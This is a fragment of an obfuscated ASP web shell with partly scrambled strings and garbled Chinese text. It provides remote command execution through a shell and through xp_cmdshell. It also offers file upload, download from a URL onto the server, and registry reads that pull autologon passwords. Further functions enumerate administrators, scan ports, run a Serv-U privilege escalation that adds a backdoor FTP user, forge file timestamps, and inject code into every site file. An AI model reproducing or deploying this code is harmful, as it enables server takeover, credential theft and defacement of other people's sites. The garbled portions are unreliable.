aspan=' colt='20heigh>~` nextesumeror ron er`NT://(~Winbject getObj inach ofor e.~)`err.clear`e=~~ rtTypJ.Staif OBthen`&~~` FF~~>#FFFFor=~~bgcol20~~ ht=~~ heig&~&nbsFFF~~~#FFFlor=~ bgcod>~`d>&nbs~~2~~span=~ colFFFF~~~#FFolor=~ bgc~~20~ight=td he~ `end if`x=~Զhen le=2 trtTypJ.Staif OB~`x=~ֶhen le=3 trtTypJ.Staif OB~`x=~hen le=4 trtTypJ.Staif OB~`pe=2 artTyBJ.Stand Owin~ ))<>~h,4,3j.patid(obase(mif LCthen`>&nbsF0000or=#Ft col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`else`>&nbs399FFor=#3t col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`end if`next`~",Pso):End Function:Function ServerInfo():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='80%widthable br>r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~`td>~&reFFFF'='#FFcolortd bg/td>&nFFFFFor='#bgcol>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloIPFFF'>'#FFFolor=' bgc='200width'20' ight=td heer'><'centlign=='_blargetrm' t'ipfoname=asp' ndex.com/ip138.www.itp://n='htactiopost thod=rm me&~<'2'>~&nFFFFFr='#Fgcolonbsp;FF'>&#FFFFlor=' bgcod>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloCPU'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~#FFFFlor=' bgcod>&nbsFFFF'='#FFcolortd bg/td><ϵͳ<'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo汾'>WEBFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~&SoFFFF'='#FFcolortd bg/td><0)&~~&SFFFFFr='#Fgcolo00' bth='2' widt='20heigh>" +end sub:Function UpFile(): +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    ϴȫ·ѡһļϴ!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="



    ļ"&UName&"ϴɹ
    " +RRS ""©url&"" +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +RRS SI +ShowErr() +Response.End +End If +SI="


    " +SI=SI&"" +SI=SI&"
    " +SI=SI&"ϴ·" +SI=SI&" " +SI=SI&" " +SI=SI&"
    " +RRS SI: +End Function::Function Cmd1Shell():ExeCute SinfoEn("checked=~ checked~`t(~SPeques) = RPath~Shellion(~ Sess Then)<>~~(~SP~questIf Re~)`ath~)hellPon(~SSessiPath=Shell`md.ex = ~clPath Shel Thenth=~~ellPaif She~`heckehen ces~ t)<>~yript~(~wscquestif Red=~~`cmd~)est(~ RequCmd =n Def~ The~)<>~(~cmdquestIf Re`st'>~d='pomethoform SI=~<`bsp;~sp;&n'>&nbh:70%'widttyle=&~' SlPath&Shelue='~' vale='SPt namWScrked&~&checyes'~lue='t' vascripme='wx' naeckboe='chc typlass=put c&~alue=it' v'submtype=nput '> " +end if +else +si="


     

    "&mmshell&"
    " +if instr(SI,SIC)<>0 then rrs sI +end if +response.end +end if +Function DbManager():ExeCute SinfoEn("tr~))~SqlSForm(uest.m(Reqr=TriSqlSt`DbStrorm(~est.F=RequDbStr~)`ing='lpadd' celng='0spaci cellr='0'borde'650'idth=ble w&~~`on='' actipost'hod='' metbFormme='Drm na&~~`Ӵ: ght='' hei='100width>~`/td>~~~~>bManaue='D' validdenpe='hn' tyActioame='put n&~~`:&nbt='30heigh>~`>4n(DbSIf Len`(5,0)t(SotObjecreateonn=CSet C)`DbStrOpen Conn.`ma(20nSchen.Opes=ConSet R) `r><&~~`veFirRs.Most `ot Rsile NDo Wh.Eof`E~ th~TABLPE~)=LE_TY(~TABIf Rsen`_NAMETABLE=Rs(~TName~)`a>[ de~,1)'e&~]~&TNamLE [~P TAB~~DROlStr(ullSqipt:Fvascrf='jaa hreter>~`~Name&'>~&T~~,1)me&~]~&TNaROM [T * FSELECtr(~~lSqlSt:Fulscrip'javahref=&~r>n(SqlIf Leen`ct~ t~sele,6))=qlStreft(Sase(LIf LChen`qlStr䣺~&S&~ִSI=SI`ordseb.Rec~Adodject(ateObs=CreSet Rt~)`Conn,lStr,en SqRs.op1,1`ds.Co.FielFN=Rsunt`rdCou.RecoRC=Rsnt`geSizRs.Pae=20`ageSi=Rs.PCountze`Count.PagePN=Rs`age~)st(~PrequePage=`g(Page=Clnn Pag~ Thege<>~If Pae)` Page Thenage=0 Or Pge=~~If Pa=1` Page Thenge>PNIf Pa=PN`=PageepagesolutRs.abThen ge>1 If Pa`td><=#ccccolor25 bgight=tr heble><&~~` FN-1=0 toFor n`em(n)ds.It.Fielld=RsSet F`e&~~&Flnter'n='ce alig&~~`thingld=noSet F`Next`&~~`Count And .Bof)or Rs.Eof ot(Rsile NDo Wh>0`=CounCountt-1`EFEFEor=~#BgcolF~`t>xngdine='wit fac>~` FN-1=0 ToFor i`~:EndFEFEFr=~#Egcololse:BF5~:E#F5F5lor=~:Bgco ThenEFEF~=~#EFcolorIf Bg if`=1 ThIf RCen`Rs(i)code(TMLEnnfo=H ColI)`Else`,50))Rs(i)Left(code(TMLEnnfo=H ColI`End If`&~~&Color&~&Bgcolor=~ bgco&~~`Next`&~~`veNexRs.Mot`Loop`I:SI=RRS S~~`lStr)de(SqlEnCor=HtmSqlSt`&~/~&&Page;ҳ룺~ &RC&~¼~nter>gn=ce~ aliFN+1&an=~&colsp>1 ThIf PNen`a>&nbһҳage-1~,~&Ptr&~~&SqlSr(~~~SqlSt:Fullcriptjavasref=';1)'>&~~~,qlStr~~~&SlStr(ullSqipt:Fvascrf='jaa hrebsp;8 If Paf`o Sp+=Sp TFor i8`it Foen ExPN ThIf i>r`Page If i=Then`nbsp;&i&~&SI=SI~`Else` ~>~&i&i&~)'~~,~&Str&~~&Sqltr(~~lSqlSt:Fulscrip'javahref=&~,~&PNr&~~~SqlSt(~~~&qlStrFullSript:avascef='j&'>һҳ+1&~)&Page~~~,~lStr&~~&SqStr(~llSqlpt:Fuascri='jav hrefsp;~`End If`able>r>0 then + set TFL=new FIF:FStart=InStr(FEnd,TIn,"filename=""",1)+10:FEnd=InStr(FStart,TIn,"""",1):FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14:FEnd=InStr(FStart,TIn,vbCr):TFL.FileStart=DIEnd:TFL.FileSize=DStart-DIEnd-3:if not D2.Exists(UpName) then:D2.add UpName,TFL:end if + else:T2.Type=1:T2.Mode=3:T2.Open:T1.Position=DIEnd:T1.CopyTo T2,DStart-DIEnd-3:T2.Position = 0:T2.Type = 2:T2.Charset ="gb2312":SFV = T2.ReadText:T2.Close:if D1.Exists(UpName) then:D1(UpName)=D1(UpName)&","&SFV:else:D1.Add UpName,SFV:end if:end if:DStart=DStart+TLen+1:wend:TDa="":set T2=nothing:End Sub:Private Sub Class_Terminate:if Request.TotalBytes>0 then:D1.RemoveAll:D2.RemoveAll:set D1=nothing:set D2=nothing:T1.Close:set T1 =nothing:end if:End Sub:End Class: + +Function SinfoEn(ObjStr,ObjPos) +ObjStr=Replace(ObjStr,"~",""""):NewStr=Split(ObjStr,"`"):For i=0 To UBound(NewStr):SinfoEn=SinfoEn&EnCode(NewStr(i),ObjPos)&vbCrLf:Next:SinfoEn=Left(SinfoEn,Len(SinfoEn)-2) +End Function + + + +Class FIF:dim FileSize,FileStart:Private Sub Class_Initialize:FileSize=0:FileStart=0:End Sub:Public function SaveAs(F) + dim T3:SaveAs=true:if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(Sot(6,0)):T3.Mode=3:T3.Type=1:T3.Open:T1.position=FileStart:T1.copyto T3,FileSize:T3.SaveToFile F,2:T3.Close:set T3=nothing:SaveAs=false:end function:End Class: + +Function Fun(ShiSanObjstr):ShiSanObjstr=Replace(ShiSanObjstr,"|",""""):For ShiSanI=1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr,ShiSanI,1)<>"!"Then:ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr:Else:ShiSanNewStr=vbCrLf&ShiSanNewStr:End If:Next:Fun = ShiSanNewStr:End Function + + + +Class LBF:Dim CF:Private Sub Class_Initialize:SET CF=CreateObject(Sot(0,0)):End Sub:Private Sub Class_Terminate:Set CF=Nothing:End Sub +Function ShowDriver() +For Each D in CF.Drives +RRS"ش ("&D.DriveLetter&":)" +Next +End Function +Function Show1File(Path): +Set FOLD=CF.GetFolder(Path) +i=0 +SI="" +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 5 = 0 then SI=SI&"" +Next +SI=SI&"
    " +SI=SI&"0
    "&F.Name&"
    " +SI=SI&"
    [Copy " +SI=SI&"Del" +SI=SI&" Move" +SI=SI&" Down]
    " +RRS SI:SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +i=i+1 +If i mod 2 = 0 then SI=SI&"" +Next + RRS SI&"
    2"&L.Name&" [ " +SI=SI&"Edit " +SI=SI&"Del " +Si=Si&"Ȩ" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4:EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2:EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1:EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"" +end if +SI=SI&"Copy " +SI=SI&"Move ] - " + +SI=SI&clng(L.size/1024)&"K
    " +SI=SI&L.Type&" - " +SI=SI&L.DateLastModified&"
    " +Set FOLD=Nothing +End function: + + + + +Function DelFile(Path):ExeCute SinfoEn("he Th)at(PtsisExleFiF. CIfn`thPae ileFetel.DCF`r>teen/c<ɹɾ~ h&at&P ~ļr>


    teen


    ļɹ
  • ":SI=SI&BackUrl:RRS SI:RRS ""©url&"":Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall) :T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="½ļ":End If:SI=SI&"":SI=SI&"":SI=SI&"
    ":SI=SI&"
    ":SI=SI&"
          ":RRS SI: +End Function:Function CopyFile(Path):ExeCute SinfoEn("|~||~|h,at(Pitpl S =thPa)`enTh~ >~)<(1thPad an) 0)h(at(PtsisExleFiF. CIf`(1thPa),(0thPae ilyFop.CCF)`>~erntce


    teen~Path( and h(0))s(PatExist.FileIf CFn`Path(h(0),e PatveFilCF.Mo1)`enter>
    r>~`&BackSI=SIUrl`RRS SI `End If",Pso):End Function:Function DelFolder(Path):ExeCute SinfoEn("he Th)at(PtsisExerldFoF. CIfn`thPar deoleFetel.DCF`r>teen/c<ɹɾ&~thPa~&Ŀ¼r>


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deolyFop.CCF)`>~erntce


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deoleFov.MCF)`>~erntce


    teen~hteen/c<ɹ½&~thPa~&Ŀ¼r>


    teen
      ¼
      0umberErr.N~ Or t = ~rmPorIf te `
      ܵ.ǷѾ Ȩ˿,õնRRS~~` Else`~
      ~`End If`ogon\\WinlrsionentVe\Currws NTWindosoft\MicroWARE\\SOFTCHINEAL_MAY_LOC ~HKEath =oginPautoL~`nLogooAdmi ~AutKey =nableoginEautoLn~`rNameltUseDefauy = ~serKeoginUautoL~`swordltPasDefauy = ~assKeoginPautoL~`bleKeinEnatoLog & aunPathoLogid(autegReawsX.Rle = nEnaboLogiisAuty)` = 0 nableoginEAutoLIf isThen`
      ~`Else`rKey)inUsetoLog & aunPathoLogid(autegReawsX.Rme = sernaoginUautoL`~
      me & sernaoginUautoL ~ & ϵͳʻ:Զ¼RRS ~~`sKey)inPastoLog & aunPathoLogid(autegReawsX.Rrd = asswooginPautoL`r TheIf Ern`Err.Clear`FalseRRS ~~`End If`~
      rd & asswooginPautoL ~ & ʻ:Զ¼RRS ~~`End If`
    RRS ~~",Pso):End Sub:sub ReadREG() +RRS "
    " +RRS "עֵȡ

    " +RRS "" +RRS " " +RRS "
    " +RRS " " +RRS "" +RRS "


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +RRS "
  • " & theArray(i) +Next +Else +RRS "
  • " & theArray +End If +end if +end sub +Function downloads() +RW=RW&"

    ֱ

    " +RW=RW&"Զļ:
    " +RW=RW&"·: " +RW=RW&"ڸ " +RW=RW&"" +RW=RW&"
    " +Response.Write RW +If isDebugMode=False Then +On Error Resume Next +End If +Dim Http,theUrl,thePath,stream,getfileName,overWrite +theUrl=Request("theUrl") +thePath=Request("thePath") +overWrite=Request("overWrite") +Set stream=Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http=Server.CreateObject("MSXML2.XMLHTTP") +If overWrite<>2 Then +overWrite=1 +End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState<>4 Then +End If +With stream +.Type=1 +.Mode=3 +.Open +.Write Http.ResponseBody +.Position=0 +.SaveToFile thePath, overWrite +If Err.Number=3004 Then +Err.Clear +getfileName=Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If getfileName="" Then +getfileName="12vh.txt" +End If +thePath=thePath & "\" & getfileName +.SaveToFile thePath, overWrite +End If +.Close +End With +chkErr(Err) +Set Http=Nothing +Set Stream=Nothing +If isDebugMode=False Then +On Error Resume Next +End If +End Function +FuncTion MMD() +SI="
    CMD
    ":REsPonsE.writE SI:SI="":If trim(REquEst.form("MMD"))<>"" thEn:PaSsword= trim(REquEst.form("P")):id=trim(REquEst.form("U")):set adoConn=SErvEr.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;PaSsword="&PaSsword&";UsEr ID="&id:strQuery = "exec master.dbo.xp_cmdshell '" & REquEst.form("MMD") & "'":set recREsult = adoConn.Execute(strQuery):If NOT recREsult.EOF thEn:Do While NOT recREsult.EOF:strREsult = strREsult & chr(13) & recREsult(0):recREsult.MoveNext:Loop:End if:set recREsult = Nothing:strREsult = REplAcE(strREsult," "," "):strREsult = REplAcE(strREsult,"<","<"):strREsult = REplAcE(strREsult,">",">"):strREsult = REplAcE(strREsult,chr(13),"
    "):End if:set adoConn = Nothing:REsPonsE.WritE REquEst.form("MMD") & "
    "& strREsult +rrs ""©url&"" +end Function:Function adminab() +Response.Expires=0 +on error resume next +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +RRS admin.Name&"
    " +Next +if err then +RRS "̵IJа:Wscript.Network" +end if +End Function +sWHEEL1 = "jwt" +Function Encrypt(acd) +For i = 1 To Len(acd) step 1 +c=mid(acd,i,1) +if c="" then +d=mid(acd,i,2) +i=i+1 +e=replace(d,"","") +bbc=bbc&mid(sWHEEL1,cint(e),1) +else +bbc=bbc&c +end if +next +Encrypt=bbc +end Function +sub ScanPort():ExeCute SinfoEn("76000 = 77meoutiptTir.ScrServe`~ thet~)=~(~por.Formquestif ren`89,4333,3345,14139,4,135,0,110,25,821,23ist=~PortL958~`else`m(~pot.Forequesist=rPortLrt~)`end if`)=~~ (~ip~.Formquestif rethen`27.0.IP=~10.1~`else`(~ip~.FormquestIP=re)`end if`D)˿ɨbr>~`rue;'led=tdisabbmit.m1.su='forubmit' onSion='' act'postthod=1' me'formname=form RRS~<>~` n IP:p>ScaRRS~<;~`ze='6~' si~&IP&lue='p' vaid='iBox' 'Textlass=xt' ce='te' type='ipt nam~`rt Libr>PoRRS~~`br>~`n '>~' scaalue=om' v'buttlass=it' c'submtype=mit' ='sub nameinputRRS~<`11'>~ue='1' val'scan' id=iddenpe='hn' ty='sca nameinputRRS~<`form>/p> ~~ n~) <(~sca.FormquestIf reThen`1 = ttimerimer`>
    b>ɨRRS(~~)`~),~,~portForm(uest.t(req Splitmp =~)`ip~),orm(~est.F(requSplitip = ~,~)`bound to Uu = 0For h(ip)` = 0 ,~-~)p(hu)Str(iIf InThen`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `p(i))), tmip(huScan(Call `Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`), j)ip(huScan(Call `Next`Else`br>~)mber~)`End If`End If`Next`Else`hu),~v(ip(StrRe,1,Inp(hu)Mid(irt = ipSta.~))`,~-~)p(hu)Str(i))-Inip(hu,Len(-~)+1hu),~r(ip(,InStp(hu)Mid(i) to )+1,1),~.~ip(hurRev(,InStp(hu)Mid(ixx = For x)`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `tmp(ixxx, rt & ipStaScan(Call ))`Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`xxx,jrt & ipStaScan(Call )`Next`Else`br>~)mber~)`End If`End If`Next`Next`End If`Next`2 = ttimerimer`imer1er2-tt(timtr(inme=cstheti))`ime&~&thet in ~ocesshr>PrRRS~< s~`END IF",Pso):end sub: +:Sub Scan(targetip, portNum):On Error Resume Next:set conn = Server.CreateObject("ADODB.connection"):connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;":conn.ConnectionTimeout=1:conn.open connstr:If Err Then:If Err.number = -2147217843 or Err.number = -2147467259 Then:If InStr(Err.description, "(Connect()).") > 0 Then:RRS(targetip & ":" & portNum & ".......ر
    "):Else:RRS(targetip & ":" & portNum & ".......
    "):End If:End If:End If:End Sub:Select Case Action:Case "MainMenu":MainMenu():Case "getTerminalInfo":getTerminalInfo():Case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():Case "goback":goback():Case "Servu":SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ +"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ +"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ +"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ +"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ +"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ +"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +c.send loginuser & loginpass & mt & deldomain & quit +set session("c")=c +RRS"
    Ȩ,ִ
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"

    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    Serv-U Ȩ ASP
    û:
    ڣ
    ϵͳ·
    *
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing:end function: +Case "Cplgm" +Fpath=Request("fd") +addcode = Request("code") +addcode2 = Request("code2") +pcfile=request("pcfile") +checkbox=request("checkbox") +ShowMsg=request("ShowMsg") +FType=request("FType") +M=request("M") +if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" +if Fpath="\" then Fpath=Server.MapPath("\") +if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") +if addcode="" then addcode="" +if checkbox="" then checkbox=request("checkbox") +if pcfile="" then +pcfileName=Request.ServerVariables("SCRIPT_NAME") +pcfilek=split(pcfileName,"/") +pcfilen=ubound(pcfilek) +pcfile=pcfilek(pcfilen) +end if +RRS ("
    վĿ¼- "&Server.MapPath("/")&"
    ") +RRS ("Ŀ¼- "&Server.MapPath(".")) +RRS "
    [" +if M="1" then RRS"-" +if M="2" then RRS"-˵" +if M="3" then RRS"-滻" +if M="" then response.end +RRS "]" +RRS "" +if M="1" then RRS "" +RRS "" +RRS "" +RRS "" +RRS "" +if M="3" then RRS "" +RRS "" +RRS "
    ļ· \վĿ¼.ΪĿ¼
    ظ ֹһҳжظĴ
    ųļ 벻뱻޸ĵļ磺1.asp|2.asp|3.asp
    ļͣ Ҫ޸ĵļ[չ]磺htm|html|asp|php|jsp|aspx|cgi
    " +if M="1" then RRS"Ҫҵ" +if M="2" then RRS"Ҫ" +if M="3" then RRS"Ҫ滻Ĵ룺" +RRS"
    滻Ϊ
    --ǽ--[ɹ ų ظ]
    " +if request("submit")="ʼִ" then +RRS"
    ִм¼
    " +call InsertAllFiles(Fpath,addcode,pcfile) +RRS"
    " +end if +sub att() +dim Path,FileName,NewTime,ShuXing +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +RRS"
    " +RRS"·?q:
    " +RRS"ļ:
    " +RRS"޸ʱ:
    " +RRS"
    " +RRS"" +RRS"
    " +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=ShuXing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +RRS"

    ޸ļ  "&path&fileName&"  " +end if +end sub +function php():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":Response.write" ":Response.write "





    ܿtest.phpʾ,ʾ֧PHP

    0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +function jsp():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.jsp")).Write"ϲ֧jsp":Response.write" ":Response.write "





    ܿtest.jspʾ,ʾ֧jsp

    ɾԵļ(ȫԲſɾ,!)

    ":End function:function aspx():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.aspx")).Write"ϲ֧aspx":Response.write" ":Response.write "





    ܿTest.aspxʾ,ʾ֧asp.net

    Dz֧!ɼǵɾ":End function +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):response.write"ɾ!":End function:function sam():Response.write "







    ":response.write"
    N
    ":End function:function goback():set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +Response.write "" +else +Response.write "" +end if +set Ofso=nothing +set ofolder=nothing +end function +Sub InsertAllFiles(Wpath,Wcode,pc) +Server.ScriptTimeout=999999999 +if right(Wpath,1)<>"\" then Wpath=Wpath &"\" +Set WFSO = CreateObject("Scripting.FileSystemObject") +on error resume next +Set f = WFSO.GetFolder(Wpath) +Set fc2 = f.files +For Each myfile in fc2 +Set FS1 = CreateObject("Scripting.FileSystemObject") +FType1=split(myfile.name,".") +FType2=ubound(FType1) +if Ftype2>0 then +FType3=LCase(FType1(FType2)) +else +FType3="" +end if +if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then +select case M +case "1" +if checkbox<>"checked" then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS" "&Wpath&myfile.name +tfile.close +else +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +if Instr(tfile1.readall,Wcode)=0 then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS""&Wpath&myfile.name +tfile1.close +else +RRS" "&Wpath&myfile.name +tfile1.close +end if +Set tfile1=Nothing +end if +case "2" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,"") +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case "3" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,addCode2) +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case else +RRS".":response.end +end select +else +RRS" "&Wpath&myfile.name +end if +RRS " Down " +RRS "edit " +RRS "Del " +RRS "Copy " +RRS "Move
    " +Next +Set fsubfolers = f.SubFolders +For Each f1 in fsubfolers +NewPath=Wpath&""&f1.name +InsertAllFiles NewPath,Wcode,pc +Next +set tfile=nothing +Set FSO = Nothing +set tfile=nothing +set tfile2=nothing +Set WFSO = Nothing +End Sub +FuncTion su7() +response.write"
    " +response.write"

    " +response.write"------------------Serv-U Information------------------" +response.write"
    " +response.write"user:" +response.write"
    " +response.write"pwd :" +response.write"
    " +response.write"port:" +response.write"
    " +response.write"---------------------Add User!!! ---------------------
    " +response.write"Domain:   " +response.write"
    " +response.write"FTP USER:" +response.write"
    " +response.write"FTP PASS:" +response.write"
    " +response.write"FTP PORT:" +response.write"
    " +response.write"FTP PATH:" +response.write"" +response.write"
    " +response.write"Privilege" +response.write"" +response.write"

    " +response.write"

    " +response.write"" +response.write"Add User " +response.write" " +response.write"Del User

    " +response.write"

    " +response.write"" +response.write"

    " +response.write"
